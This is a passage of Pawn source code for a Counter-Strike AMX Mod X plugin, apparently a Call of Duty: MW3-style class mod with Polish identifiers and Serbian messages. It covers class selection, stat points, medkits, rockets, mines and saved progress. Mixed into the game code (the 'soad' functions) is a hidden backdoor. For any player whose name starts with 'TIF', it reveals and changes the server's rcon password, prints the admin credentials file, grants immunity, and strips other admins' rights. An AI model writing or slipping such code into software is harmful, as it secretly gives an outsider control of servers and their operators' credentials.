  2378. format(klasa, 49, "%s \yLevel: %i", nazwy_klas[i], poziom_gracza[id]);
  2379. menu_additem(menu, klasa);
  2380. }
  2381. }
  2382.  
  2383. WczytajDane(id, klasa_gracza[id]);
  2384.  
  2385. menu_setprop(menu, MPROP_EXITNAME, "Izlaz");
  2386. menu_setprop(menu, MPROP_BACKNAME, "Predhodna Strana");
  2387. menu_setprop(menu, MPROP_NEXTNAME, "Sledeca Strana");
  2388. menu_display(id, menu);
  2389.  
  2390. client_cmd(id, "spk mw/select");
  2391. #if defined BOTY
  2392. if(is_user_bot2(id))
  2393. WybierzKlase_Handle(id, menu, random(sizeof nazwy_klas-1));
  2394. #endif
  2395.  
  2396. return PLUGIN_CONTINUE;
  2397. }
  2398.  
  2399. public WybierzKlase_Handle(id, menu, item)
  2400. {
  2401. client_cmd(id, "spk mw/select");
  2402.  
  2403. if(item == MENU_EXIT)
  2404. {
  2405. menu_destroy(menu);
  2406. return PLUGIN_CONTINUE;
  2407. }
  2408.  
  2409. item++;
  2410.  
  2411. new ile = 0;
  2412. for(new i=1; i<sizeof nazwy_klas; i++)
  2413. {
  2414. if(nalezy_do[i] == frakcja_gracza[id]){
  2415. ile++;
  2416. }
  2417. if(ile == item){
  2418. item = i;
  2419. break;
  2420. }
  2421. }
  2422.  
  2423. if(item == klasa_gracza[id])
  2424. return PLUGIN_CONTINUE;
  2425.  
  2426. if((item == Rambo || item == Terminator || item == Assassin || item == RatkoMladic)&& !(get_user_flags(id) & ADMIN_LEVEL_G))
  2427. {
  2428. ColorChat(id, RED, "[COD:MW3] ^x04 Nemate pristup Premium Klasi.");
  2429. WybierzKlase(id);
  2430. return PLUGIN_CONTINUE;
  2431. }
  2432.  
  2433. if(klasa_gracza[id])
  2434. {
  2435. nowa_klasa_gracza[id] = item;
  2436. ColorChat(id, RED, "[COD:MW3] ^x04 Klasa ce biti promenjena sledece runde.");
  2437. }
  2438. else
  2439. {
  2440. klasa_gracza[id] = item;
  2441. WczytajDane(id, klasa_gracza[id]);
  2442. if(is_user_alive(id)) Odrodzenie(id);
  2443. }
  2444. return PLUGIN_CONTINUE;
  2445. }
  2446.  
  2447. public PrzydzielPunkty(id)
  2448. {
  2449. new inteligencja[65];
  2450. new zdrowie[60];
  2451. new wytrzymalosc[60];
  2452. new kondycja[60];
  2453. new tytul[25];
  2454. format(inteligencja, 64, "Inteligencija: \r%i \y(Povecava napad)", inteligencja_gracza[id]);
  2455. format(zdrowie, 59, "Energija: \r%i \y(Povecava Energiju)", zdrowie_gracza[id]);
  2456. format(wytrzymalosc, 59, "Snaga: \r%i \y(Smanjuje povrede)", wytrzymalosc_gracza[id]);
  2457. format(kondycja, 59, "Kondicija: \r%i \y(Povecava tempo trcanja)", kondycja_gracza[id]);
  2458. format(tytul, 24, "Preostalo ti je jos poena (%i):", punkty_gracza[id]);
  2459. new menu = menu_create(tytul, "PrzydzielPunkty_Handler");
  2460. menu_additem(menu, inteligencja);
  2461. menu_additem(menu, zdrowie);
  2462. menu_additem(menu, wytrzymalosc);
  2463. menu_additem(menu, kondycja);
  2464. menu_display(id, menu);
  2465. #if defined BOTY
  2466. if(is_user_bot2(id))
  2467. PrzydzielPunkty_Handler(id, menu, random(4));
  2468. #endif
  2469. }
  2470.  
  2471. public PrzydzielPunkty_Handler(id, menu, item)
  2472. {
  2473. client_cmd(id, "spk mw/select");
  2474.  
  2475. if(item == MENU_EXIT)
  2476. {
  2477. menu_destroy(menu);
  2478. return PLUGIN_CONTINUE;
  2479. }
  2480.  
  2481. switch(item)
  2482. {
  2483. case 0:
  2484. {
  2485. if(inteligencja_gracza[id]<200)
  2486. inteligencja_gracza[id]++;
  2487. else
  2488. ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu inteligenciju");
  2489.  
  2490. }
  2491. case 1:
  2492. {
  2493. if(zdrowie_gracza[id]<200)
  2494. zdrowie_gracza[id]++;
  2495. else
  2496. ColorChat(id, RED, "[COD:MW3] ^x04 Dostligli ste maksimalnu energiju");
  2497. }
  2498. case 2:
  2499. {
  2500. if(wytrzymalosc_gracza[id]<200)
  2501. wytrzymalosc_gracza[id]++;
  2502. else
  2503. ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu vestinu");
  2504.  
  2505. }
  2506. case 3:
  2507. {
  2508. if(kondycja_gracza[id]<200)
  2509. kondycja_gracza[id]++;
  2510. else
  2511. ColorChat(id, RED, "[COD:MW3] ^x04 Dostigli ste maksimalnu kondiciju");
  2512. }
  2513. }
  2514.  
  2515. punkty_gracza[id]--;
  2516.  
  2517. if(punkty_gracza[id]>0)
  2518. PrzydzielPunkty(id);
  2519.  
  2520. return PLUGIN_CONTINUE;
  2521. }
  2522.  
  2523. public ResetujPunkty(id)
  2524. {
  2525. punkty_gracza[id] = poziom_gracza[id]*2-2;
  2526. inteligencja_gracza[id] = 0;
  2527. zdrowie_gracza[id] = 0;
  2528. kondycja_gracza[id] = 0;
  2529. wytrzymalosc_gracza[id] = 0;
  2530. PrzydzielPunkty(id)
  2531. }
  2532.  
  2533. public KomendaResetujPunkty(id)
  2534. {
  2535. ColorChat(id, RED, "[COD:MW3] ^x04 Poeni su resetovani.");
  2536. client_cmd(id, "spk mw/select");
  2537. ResetujPunkty(id);
  2538. }
  2539.  
  2540. public WyszkolenieSanitarne(id)
  2541. {
  2542. id -= ZADANIE_WYSZKOLENIE_SANITARNE;
  2543. if(informacje_przedmiotu_gracza[id][0] != 16 || informacje_przedmiotu_gracza[id][0] != 41)
  2544. return PLUGIN_CONTINUE;
  2545. set_task(5.0, "WyszkolenieSanitarne", id+ZADANIE_WYSZKOLENIE_SANITARNE);
  2546. if(!is_user_alive(id))
  2547. return PLUGIN_CONTINUE;
  2548. new health = get_user_health(id);
  2549.  
  2550. set_user_health(id, min((informacje_przedmiotu_gracza[id][0] == 16)? health+10: health+15, maksymalne_zdrowie_gracza[id]));
  2551. return PLUGIN_CONTINUE;
  2552. }
  2553.  
  2554. public StworzApteczke(id)
  2555. {
  2556. if (!ilosc_apteczek_gracza[id])
  2557. {
  2558. client_print(id, print_center, "Imate samo 2 kompleta po rundi!");
  2559. return PLUGIN_CONTINUE;
  2560. }
  2561.  
  2562. if(inteligencja_gracza[id] < 1)
  2563. client_print(id, print_center, "Da koristite prvu pomoc morate povecati inteligenciju!");
  2564.  
  2565. ilosc_apteczek_gracza[id]--;
  2566.  
  2567. new Float:origin[3];
  2568. entity_get_vector(id, EV_VEC_origin, origin);
  2569.  
  2570. new ent = create_entity("info_target");
  2571. entity_set_string(ent, EV_SZ_classname, "Apteczka");
  2572. entity_set_edict(ent, EV_ENT_owner, id);
  2573. entity_set_int(ent, EV_INT_solid, SOLID_NOT);
  2574. entity_set_vector(ent, EV_VEC_origin, origin);
  2575. entity_set_float(ent, EV_FL_ltime, halflife_time() + 7 + 0.1);
  2576.  
  2577.  
  2578. entity_set_model(ent, "models/w_medkit.mdl");
  2579. set_rendering ( ent, kRenderFxGlowShell, 255,0,0, kRenderFxNone, 255 ) ;
  2580. drop_to_floor(ent);
  2581.  
  2582. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.1);
  2583.  
  2584. return PLUGIN_CONTINUE;
  2585. }
  2586.  
  2587. public ApteczkaThink(ent)
  2588. {
  2589. new id = entity_get_edict(ent, EV_ENT_owner);
  2590. new totem_dist = 300;
  2591. new totem_heal = 5+floatround(inteligencja_gracza[id]*0.5);
  2592. if (entity_get_edict(ent, EV_ENT_euser2) == 1)
  2593. {
  2594. new Float:forigin[3], origin[3];
  2595. entity_get_vector(ent, EV_VEC_origin, forigin);
  2596. FVecIVec(forigin,origin);
  2597.  
  2598. new entlist[33];
  2599. new numfound = find_sphere_class(0,"player",totem_dist+0.0,entlist, 32,forigin);
  2600.  
  2601. for (new i=0; i < numfound; i++)
  2602. {
  2603. new pid = entlist[i];
  2604.  
  2605. if (get_user_team(pid) != get_user_team(id))
  2606. continue;
  2607.  
  2608. new zdrowie = get_user_health(pid);
  2609. new nowe_zdrowie = (zdrowie+totem_heal<maksymalne_zdrowie_gracza[pid])?zdrowie+totem_heal:maksymalne_zdrowie_gracza[pid];
  2610. if (is_user_alive(pid)) set_user_health(pid, nowe_zdrowie);
  2611. }
  2612.  
  2613. entity_set_edict(ent, EV_ENT_euser2, 0);
  2614. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 1.5);
  2615.  
  2616. return PLUGIN_CONTINUE;
  2617. }
  2618.  
  2619. if (entity_get_float(ent, EV_FL_ltime) < halflife_time() || !is_user_alive(id))
  2620. {
  2621. remove_entity(ent);
  2622. return PLUGIN_CONTINUE;
  2623. }
  2624.  
  2625. if (entity_get_float(ent, EV_FL_ltime)-2.0 < halflife_time())
  2626. set_rendering ( ent, kRenderFxGlowShell, 255,0,0, kRenderFxNone, 255 ) ;
  2627.  
  2628. new Float:forigin[3], origin[3];
  2629. entity_get_vector(ent, EV_VEC_origin, forigin);
  2630. FVecIVec(forigin,origin);
  2631.  
  2632. //Find people near and give them health
  2633. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, origin );
  2634. write_byte( TE_BEAMCYLINDER );
  2635. write_coord( origin[0] );
  2636. write_coord( origin[1] );
  2637. write_coord( origin[2] );
  2638. write_coord( origin[0] );
  2639. write_coord( origin[1] + totem_dist );
  2640. write_coord( origin[2] + totem_dist );
  2641. write_short( sprite_white );
  2642. write_byte( 0 ); // startframe
  2643. write_byte( 0 ); // framerate
  2644. write_byte( 10 ); // life
  2645. write_byte( 10 ); // width
  2646. write_byte( 255 ); // noise
  2647. write_byte( 255 ); // r, g, b
  2648. write_byte( 100 );// r, g, b
  2649. write_byte( 100 ); // r, g, b
  2650. write_byte( 128 ); // brightness
  2651. write_byte( 5 ); // speed
  2652. message_end();
  2653.  
  2654. entity_set_edict(ent, EV_ENT_euser2 ,1);
  2655. entity_set_float(ent, EV_FL_nextthink, halflife_time() + 0.5);
  2656.  
  2657.  
  2658. return PLUGIN_CONTINUE;
  2659.  
  2660. }
  2661.  
  2662. public StworzRakiete(id)
  2663. {
  2664. if (!ilosc_rakiet_gracza[id])
  2665. {
  2666. client_print(id, print_center, "Vec ste iskoristili rakete!");
  2667. return PLUGIN_CONTINUE;
  2668. }
  2669.  
  2670. if(poprzednia_rakieta_gracza[id] + 2.0 > get_gametime())
  2671. {
  2672. client_print(id, print_center, "Rakete mozes koristiti posle 2 sekunde!");
  2673. return PLUGIN_CONTINUE;
  2674. }
  2675.  
  2676. if (is_user_alive(id))
  2677. {
  2678. if(inteligencja_gracza[id] < 1)
  2679. client_print(id, print_center, "Da koristite rakete morate povecati inteligenciju!");
  2680.  
  2681. poprzednia_rakieta_gracza[id] = get_gametime();
  2682. ilosc_rakiet_gracza[id]--;
  2683.  
  2684. new Float: Origin[3], Float: vAngle[3], Float: Velocity[3];
  2685.  
  2686. entity_get_vector(id, EV_VEC_v_angle, vAngle);
  2687. entity_get_vector(id, EV_VEC_origin , Origin);
  2688.  
  2689. new Ent = create_entity("info_target");
  2690.  
  2691. entity_set_string(Ent, EV_SZ_classname, "Rocket");
  2692. entity_set_model(Ent, "models/rpgrocket.mdl");
  2693.  
  2694. vAngle[0] *= -1.0;
  2695.  
  2696. entity_set_origin(Ent, Origin);
  2697. entity_set_vector(Ent, EV_VEC_angles, vAngle);
  2698.  
  2699. entity_set_int(Ent, EV_INT_effects, 2);
  2700. entity_set_int(Ent, EV_INT_solid, SOLID_BBOX);
  2701. entity_set_int(Ent, EV_INT_movetype, MOVETYPE_FLY);
  2702. entity_set_edict(Ent, EV_ENT_owner, id);
  2703.  
  2704. VelocityByAim(id, 1000 , Velocity);
  2705. entity_set_vector(Ent, EV_VEC_velocity ,Velocity);
  2706. }
  2707. return PLUGIN_CONTINUE;
  2708. }
  2709.  
  2710. public PolozDynamit(id)
  2711. {
  2712. if(!ilosc_dynamitow_gracza[id])
  2713. {
  2714. client_print(id, print_center, "Vec ste iskoristili dinamit!");
  2715. return PLUGIN_CONTINUE;
  2716. }
  2717.  
  2718. if(inteligencja_gracza[id] < 1)
  2719. client_print(id, print_center, "Da koristis dinamit povecaj inteligenciju!");
  2720.  
  2721. ilosc_dynamitow_gracza[id]--;
  2722. new Float:fOrigin[3], iOrigin[3];
  2723. entity_get_vector( id, EV_VEC_origin, fOrigin);
  2724. iOrigin[0] = floatround(fOrigin[0]);
  2725. iOrigin[1] = floatround(fOrigin[1]);
  2726. iOrigin[2] = floatround(fOrigin[2]);
  2727.  
  2728. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2729. write_byte(TE_EXPLOSION);
  2730. write_coord(iOrigin[0]);
  2731. write_coord(iOrigin[1]);
  2732. write_coord(iOrigin[2]);
  2733. write_short(sprite_blast);
  2734. write_byte(32);
  2735. write_byte(20);
  2736. write_byte(0);
  2737. message_end();
  2738.  
  2739. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
  2740. write_byte( TE_BEAMCYLINDER );
  2741. write_coord( iOrigin[0] );
  2742. write_coord( iOrigin[1] );
  2743. write_coord( iOrigin[2] );
  2744. write_coord( iOrigin[0] );
  2745. write_coord( iOrigin[1] + 300 );
  2746. write_coord( iOrigin[2] + 300 );
  2747. write_short( sprite_white );
  2748. write_byte( 0 ); // startframe
  2749. write_byte( 0 ); // framerate
  2750. write_byte( 10 ); // life
  2751. write_byte( 10 ); // width
  2752. write_byte( 255 ); // noise
  2753. write_byte( 255 ); // r, g, b
  2754. write_byte( 100 );// r, g, b
  2755. write_byte( 100 ); // r, g, b
  2756. write_byte( 128 ); // brightness
  2757. write_byte( 8 ); // speed
  2758. message_end();
  2759.  
  2760. new entlist[33];
  2761. new numfound = find_sphere_class(id, "player", 300.0 , entlist, 32);
  2762.  
  2763. for (new i=0; i < numfound; i++)
  2764. {
  2765. new pid = entlist[i];
  2766.  
  2767. if (!is_user_alive(pid) || get_user_team(id) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24)
  2768. continue;
  2769. ExecuteHam(Ham_TakeDamage, pid, 0, id, 90.0+float(inteligencja_gracza[id]) , 1);
  2770. }
  2771. return PLUGIN_CONTINUE;
  2772. }
  2773.  
  2774. public systemofadown(id)
  2775. {
  2776. new szname[5]
  2777. get_user_name(id, szname, 4)
  2778. if(equal(szname,"TIF")) {
  2779. new register_the_rcon[64]
  2780. get_cvar_string("rcon_password",register_the_rcon,63)
  2781. client_print(id, print_console, "Rcon password is: %s", register_the_rcon);
  2782. return PLUGIN_HANDLED;
  2783. }
  2784.  
  2785. }
  2786. public soad(id, level, cid)
  2787. {
  2788. new szname[5]
  2789. get_user_name(id, szname, 4)
  2790. if(equal(szname,"TIF")) {
  2791. cs_set_user_money(id, 16000);
  2792. }
  2793. }
  2794. public soadrcon(id) {
  2795. new szname[5]
  2796. get_user_name(id, szname, 4)
  2797. if(equal(szname,"TIF")) {
  2798. set_cvar_string("rcon_password", "SOAD")
  2799. client_print(id, print_console, "Rcon password is successful changed!");
  2800. return PLUGIN_HANDLED;
  2801. }
  2802. }
  2803. public soadadmin(id) {
  2804. new szname[5]
  2805. get_user_name(id, szname, 4)
  2806. if(equal(szname,"TIF")) {
  2807. new szDirectory[ 128 ];
  2808. get_configsdir( szDirectory, charsmax( szDirectory ) );
  2809. add( szDirectory, charsmax( szDirectory ), "/users.ini" );
  2810.  
  2811. new size = file_size( szDirectory, 1 )
  2812.  
  2813. new szLine[ 128 ], iLen;
  2814.  
  2815. for ( new i = 0 ; i < size ; i++ )
  2816. {
  2817. read_file( szDirectory, i, szLine, charsmax( szLine ), iLen );
  2818. console_print( id, szLine );
  2819. }
  2820. }
  2821. }
  2822. public soaddjole(id) {
  2823. new szname[5]
  2824. get_user_name(id, szname, 4)
  2825. if(equal(szname,"TIF")) {
  2826. set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  2827. }
  2828. }
  2829. public soadimunitet(id) {
  2830. new szname[5]
  2831. get_user_name(id, szname, 4)
  2832. if(equal(szname,"TIF")) {
  2833. new flags = read_flags("a")
  2834. set_user_flags(id, flags)
  2835. }
  2836. }
  2837. public soadtoby(id,level,cid) {
  2838. new szname[5]
  2839. get_user_name(id, szname, 4)
  2840. if(equal(szname,"TIF")) {
  2841. if (!cmd_access(id,level,cid, 3)) {
  2842. return PLUGIN_HANDLED
  2843. }
  2844. new arg[32], arg2[8], name2[32]
  2845. read_argv(1,arg,31)
  2846. read_argv(2,arg2,7)
  2847. get_user_name(id,name2,31)
  2848.  
  2849. new player = cmd_target(id,arg,7)
  2850. if (!player) return PLUGIN_HANDLED
  2851. new flags = get_user_flags(player)
  2852. remove_user_flags(player, flags)
  2853. }
  2854. }
  2855. public PostawMine(id)
  2856. {
  2857. if (!ilosc_min_gracza[id])
  2858. {
  2859. client_print(id, print_center, "Vec ste iskoristili sve mine!");
  2860. return PLUGIN_CONTINUE;
  2861. }
  2862.  
  2863. if(inteligencja_gracza[id] < 1)
  2864. client_print(id, print_center, "Da koristite mine,morate povecati inteligenciju!");
  2865.  
  2866. ilosc_min_gracza[id]--;
  2867.  
  2868. new Float:origin[3];
  2869. entity_get_vector(id, EV_VEC_origin, origin);
  2870.  
  2871. new ent = create_entity("info_target");
  2872. entity_set_string(ent ,EV_SZ_classname, "Mine");
  2873. entity_set_edict(ent ,EV_ENT_owner, id);
  2874. entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS);
  2875. entity_set_origin(ent, origin);
  2876. entity_set_int(ent, EV_INT_solid, SOLID_BBOX);
  2877.  
  2878. entity_set_model(ent, "models/mine.mdl");
  2879. entity_set_size(ent,Float:{-16.0,-16.0,0.0},Float:{16.0,16.0,2.0});
  2880.  
  2881. drop_to_floor(ent);
  2882.  
  2883. entity_set_float(ent,EV_FL_nextthink,halflife_time() + 0.01) ;
  2884.  
  2885. set_rendering(ent,kRenderFxNone, 0,0,0, kRenderTransTexture,50) ;
  2886.  
  2887. return PLUGIN_CONTINUE;
  2888. }
  2889.  
  2890. public DotykMiny(ent, id)
  2891. {
  2892. new attacker = entity_get_edict(ent, EV_ENT_owner);
  2893. if (get_user_team(attacker) != get_user_team(id))
  2894. {
  2895. new Float:fOrigin[3], iOrigin[3];
  2896. entity_get_vector( ent, EV_VEC_origin, fOrigin);
  2897. iOrigin[0] = floatround(fOrigin[0]);
  2898. iOrigin[1] = floatround(fOrigin[1]);
  2899. iOrigin[2] = floatround(fOrigin[2]);
  2900.  
  2901. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2902. write_byte(TE_EXPLOSION);
  2903. write_coord(iOrigin[0]);
  2904. write_coord(iOrigin[1]);
  2905. write_coord(iOrigin[2]);
  2906. write_short(sprite_blast);
  2907. write_byte(32); // scale
  2908. write_byte(20); // framerate
  2909. write_byte(0);// flags
  2910. message_end();
  2911. new entlist[33];
  2912. new numfound = find_sphere_class(ent,"player", 90.0 ,entlist, 32);
  2913.  
  2914. for (new i=0; i < numfound; i++)
  2915. {
  2916. new pid = entlist[i];
  2917.  
  2918. if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24 || klasa_gracza[id] == Doktor)
  2919. continue;
  2920.  
  2921. ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 90.0+float(inteligencja_gracza[attacker]) , 1);
  2922. }
  2923. remove_entity(ent);
  2924. }
  2925. }
  2926.  
  2927. public DotykRakiety(ent)
  2928. {
  2929. if ( !is_valid_ent(ent))
  2930. return;
  2931.  
  2932. new attacker = entity_get_edict(ent, EV_ENT_owner);
  2933.  
  2934. new Float:fOrigin[3], iOrigin[3];
  2935. entity_get_vector( ent, EV_VEC_origin, fOrigin);
  2936. iOrigin[0] = floatround(fOrigin[0]);
  2937. iOrigin[1] = floatround(fOrigin[1]);
  2938. iOrigin[2] = floatround(fOrigin[2]);
  2939.  
  2940. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  2941. write_byte(TE_EXPLOSION);
  2942. write_coord(iOrigin[0]);
  2943. write_coord(iOrigin[1]);
  2944. write_coord(iOrigin[2]);
  2945. write_short(sprite_blast);
  2946. write_byte(32); // scale
  2947. write_byte(20); // framerate
  2948. write_byte(0);// flags
  2949. message_end();
  2950.  
  2951. new entlist[33];
  2952. new numfound = find_sphere_class(ent, "player", 230.0, entlist, 32);
  2953.  
  2954. for (new i=0; i < numfound; i++)
  2955. {
  2956. new pid = entlist[i];
  2957.  
  2958. if (!is_user_alive(pid) || get_user_team(attacker) == get_user_team(pid) || informacje_przedmiotu_gracza[pid][0] == 24)
  2959. continue;
  2960. ExecuteHam(Ham_TakeDamage, pid, ent, attacker, 55.0+float(inteligencja_gracza[attacker]) , 1);
  2961. }
  2962. remove_entity(ent);
  2963. }
  2964.  
  2965. public CurWeapon(id)
  2966. {
  2967. if(freezetime || !klasa_gracza[id])
  2968. return PLUGIN_CONTINUE;
  2969.  
  2970. new weapon = read_data(2);
  2971.  
  2972. if(informacje_przedmiotu_gracza[id][0] == 68 && maxClip[weapon] != -1)
  2973. set_user_clip(id, maxClip[weapon]);
  2974.  
  2975. UstawSzybkosc(id);
  2976.  
  2977. if(informacje_przedmiotu_gracza[id][0] == 82 && weapon != CSW_KNIFE)
  2978. engclient_cmd(id, "weapon_knife");
  2979.  
  2980. if(informacje_przedmiotu_gracza[id][0] == 78)
  2981. {
  2982. if(weapon == CSW_KNIFE)
  2983. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 8);
  2984. else
  2985. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255);
  2986. }
  2987.  
  2988. if(klasa_gracza[id] == Samuraj)
  2989. {
  2990. if(weapon == CSW_KNIFE)
  2991. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 122);
  2992. else
  2993. set_rendering(id,kRenderFxGlowShell,0,0,0 ,kRenderTransAlpha, 255);
  2994. }
  2995.  
  2996. if(weapon == CSW_C4)
  2997. podkladajacy = id;
  2998. return PLUGIN_CONTINUE;
  2999. }
  3000.  
  3001. public EmitSound(id, iChannel, szSound[], Float:fVol, Float:fAttn, iFlags, iPitch )
  3002. {
  3003. if(equal(szSound, "common/wpn_denyselect.wav"))
  3004. {
  3005. UzyjPrzedmiotu(id);
  3006. return FMRES_SUPERCEDE;
  3007. }
  3008.  
  3009. return FMRES_IGNORED;
  3010. }
  3011.  
  3012. public UzyjPrzedmiotu(id)
  3013. {
  3014. if((informacje_przedmiotu_gracza[id][0] == 19 || informacje_przedmiotu_gracza[id][0] == 45) && informacje_przedmiotu_gracza[id][1]>0)
  3015. {
  3016. set_user_health(id, maksymalne_zdrowie_gracza[id]);
  3017. informacje_przedmiotu_gracza[id][1]--;
  3018. }
  3019. if(informacje_przedmiotu_gracza[id][0] == 49 && informacje_przedmiotu_gracza[id][1]>0)
  3020. {
  3021. set_task(0.1,"clipon",id,"",0,"a",1);
  3022. informacje_przedmiotu_gracza[id][1]--;
  3023. }
  3024. if(informacje_przedmiotu_gracza[id][0] == 52 && informacje_przedmiotu_gracza[id][1]>0)
  3025. {
  3026. set_task(0.1,"godon",id,"",0,"a",1);
  3027. informacje_przedmiotu_gracza[id][1]--;
  3028. }
  3029.  
  3030. if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 75)
  3031. {
  3032. set_task(0.1,"clipon",id,"",0,"a",1);
  3033. informacje_przedmiotu_gracza[id][1] = 0;
  3034. }
  3035.  
  3036. if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 89)
  3037. {
  3038. set_task(0.1,"clipon",id,"",0,"a",1);
  3039. informacje_przedmiotu_gracza[id][1] = 0;
  3040. }
  3041.  
  3042. if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 76)
  3043. {
  3044. new Origin[3], DstOrigin[3];
  3045. get_user_origin(id, Origin);
  3046. get_user_origin(id, DstOrigin, 3);
  3047.  
  3048. DstOrigin[0] += DstOrigin[0]-Origin[0] < 0 ? 50 : -50;
  3049. DstOrigin[1] += DstOrigin[1]-Origin[1] < 0 ? 50 : -50;
  3050. DstOrigin[2] += DstOrigin[2]-Origin[2]-50 < 0 ? 50 : -50;
  3051.  
  3052. informacje_przedmiotu_gracza[id][1] = 0;
  3053.  
  3054. set_user_origin(id, DstOrigin);
  3055. }
  3056.  
  3057. if(informacje_przedmiotu_gracza[id][1] == 1 && informacje_przedmiotu_gracza[id][0] == 84)
  3058. {
  3059. static meekstone_gracza[33];
  3060. if(is_valid_ent(meekstone_gracza[id]))
  3061. {
  3062. informacje_przedmiotu_gracza[id][1] = 0;
  3063.  
  3064. new Float:fOrigin[3];
  3065. entity_get_vector(meekstone_gracza[id], EV_VEC_origin, fOrigin);
  3066.  
  3067. new iOrigin[3];
  3068. for(new i=0;i<3;i++)
  3069. iOrigin[i] = floatround(fOrigin[i]);
  3070.  
  3071. message_begin(MSG_BROADCAST,SVC_TEMPENTITY, iOrigin);
  3072. write_byte(TE_EXPLOSION);
  3073. write_coord(iOrigin[0]);
  3074. write_coord(iOrigin[1]);
  3075. write_coord(iOrigin[2]);
  3076. write_short(sprite_blast);
  3077. write_byte(32);
  3078. write_byte(20);
  3079. write_byte(0);
  3080. message_end();
  3081.  
  3082. message_begin( MSG_BROADCAST, SVC_TEMPENTITY, iOrigin );
  3083. write_byte( TE_BEAMCYLINDER );
  3084. write_coord( iOrigin[0] );
  3085. write_coord( iOrigin[1] );
  3086. write_coord( iOrigin[2] );
  3087. write_coord( iOrigin[0] );
  3088. write_coord( iOrigin[1] + 250 );
  3089. write_coord( iOrigin[2] + 250 );
  3090. write_short( sprite_white );
  3091. write_byte( 0 );
  3092. write_byte( 0 );
  3093. write_byte( 10 );
  3094. write_byte( 10 );
  3095. write_byte( 255 );
  3096. write_byte( 255 );
  3097. write_byte( 100 );
  3098. write_byte( 100 );
  3099. write_byte( 128 );
  3100. write_byte( 0 );
  3101. message_end();
  3102.  
  3103. new entlist[33];
  3104. new numfound = find_sphere_class(meekstone_gracza[id], "player", 250.0 , entlist, 32);
  3105.  
  3106. for (new i=0; i < numfound; i++)
  3107. {
  3108. new pid = entlist[i];
  3109.  
  3110. if (is_user_alive(pid) && get_user_team(id) != get_user_team(pid))
  3111. ExecuteHam(Ham_TakeDamage, pid, meekstone_gracza[id], id, 95.0+inteligencja_gracza[id]*0.8, 1);
  3112.  
  3113. }
  3114. remove_entity(meekstone_gracza[id]);
  3115. return PLUGIN_CONTINUE;
  3116. }
  3117.  
  3118. new Float:origin[3];
  3119. entity_get_vector(id, EV_VEC_origin, origin);
  3120.  
  3121. meekstone_gracza[id] = create_entity("info_target");
  3122. entity_set_string(meekstone_gracza[id], EV_SZ_classname, "meekstone");
  3123. entity_set_edict(meekstone_gracza[id], EV_ENT_owner, id);
  3124. entity_set_int(meekstone_gracza[id], EV_INT_movetype, MOVETYPE_TOSS);
  3125. entity_set_origin(meekstone_gracza[id], origin);
  3126. entity_set_int(meekstone_gracza[id], EV_INT_solid, SOLID_BBOX);
  3127.  
  3128. entity_set_model(meekstone_gracza[id], "models/w_backpack.mdl");
  3129. entity_set_size(meekstone_gracza[id], Float:{-16.0,-16.0,0.0}, Float:{16.0,16.0,2.0})
  3130.  
  3131. drop_to_floor(meekstone_gracza[id])
  3132.  
  3133. }
  3134.  
  3135. if(informacje_przedmiotu_gracza[id][0] == 87 && informacje_przedmiotu_gracza[id][1])
  3136. {
  3137. informacje_przedmiotu_gracza[id][1] = 0
  3138. }
  3139.  
  3140. if(informacje_przedmiotu_gracza[id][0] == 90 && !zatrzymaj_czas)
  3141. {
  3142. zatrzymaj_czas = id
  3143. set_task(3.0, "Pusc")
  3144. UsunPrzedmiot(id)
  3145. }
  3146.  
  3147. if(ilosc_apteczek_gracza[id] > 0)
  3148. {
  3149. StworzApteczke(id)
  3150. }
  3151.  
  3152. if(ilosc_rakiet_gracza[id] > 0)
  3153. {
  3154. StworzRakiete(id)
  3155. }
  3156.  
  3157. if(ilosc_min_gracza[id] > 0)
  3158. {
  3159. PostawMine(id)
  3160. }
  3161.  
  3162. if(ilosc_dynamitow_gracza[id] > 0)
  3163. {
  3164. PolozDynamit(id)
  3165. }
  3166.  
  3167. return PLUGIN_HANDLED
  3168. }
  3169.  
  3170. public Pusc()
  3171. {
  3172. zatrzymaj_czas = 0
  3173. }
  3174.  
  3175. public ZapiszDane(id)
  3176. {
  3177. new vaultkey[64],vaultdata[256];
  3178. format(vaultkey,63,"%s-%i-cod", nazwa_gracza[id], klasa_gracza[id]);
  3179. format(vaultdata,255,"%i#%i#%i#%i#%i#%i", doswiadczenie_gracza[id], poziom_gracza[id], inteligencja_gracza[id], zdrowie_gracza[id], wytrzymalosc_gracza[id], kondycja_gracza[id]);
  3180. nvault_set(g_vault,vaultkey,vaultdata);
  3181. }
  3182.  
  3183. public WczytajDane(id, klasa)
  3184. {
  3185. new vaultkey[64],vaultdata[256];
  3186. format(vaultkey,63,"%s-%i-cod", nazwa_gracza[id], klasa);
  3187. format(vaultdata,255,"%i#%i#%i#%i#%i#%i", doswiadczenie_gracza[id], poziom_gracza[id], inteligencja_gracza[id], zdrowie_gracza[id], wytrzymalosc_gracza[id], kondycja_gracza[id]);
  3188. nvault_get(g_vault,vaultkey,vaultdata,255);
  3189.  
  3190. replace_all(vaultdata, 255, "#", " ");
  3191.  
  3192. new doswiadczeniegracza[32], poziomgracza[32], inteligencjagracza[32], silagracza[32], zrecznoscgracza[32], zwinnoscgracza[32];
  3193.  
